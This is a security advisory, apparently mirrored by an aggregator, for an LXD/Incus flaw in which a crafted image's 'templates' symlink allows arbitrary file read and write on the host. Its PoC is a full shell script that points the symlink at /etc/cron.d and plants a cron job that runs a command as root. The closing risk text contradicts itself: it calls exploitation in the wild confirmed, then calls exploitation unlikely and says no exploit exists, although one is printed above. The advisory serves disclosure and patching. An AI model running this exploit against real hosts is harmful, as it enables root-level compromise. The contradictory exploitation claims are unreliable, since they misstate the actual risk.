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GHSA-jpf8-86f3-wp38
github.com/canonical/lxdReported from https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479
Summary
A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.
Details
For container images, internal/server/storage/utils.go calls
archive.Unpack(imageFile, destPath, ...). The tar extraction path in
shared/archive/archive.go excludes device nodes, but it does not
reject a top-level templates symlink.
In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.
PoC
Below, we map the templates directory to /etc/cron.d on the host, but
it can be mapped anywhere. We then create a cronjob to run id as root.
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() {
rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC templates symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink
incus config template ls afrw-image-templates-symlink
# read
#incus config template show afrw-image-templates-symlink $FILENAME
# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc
Impact
Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.
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The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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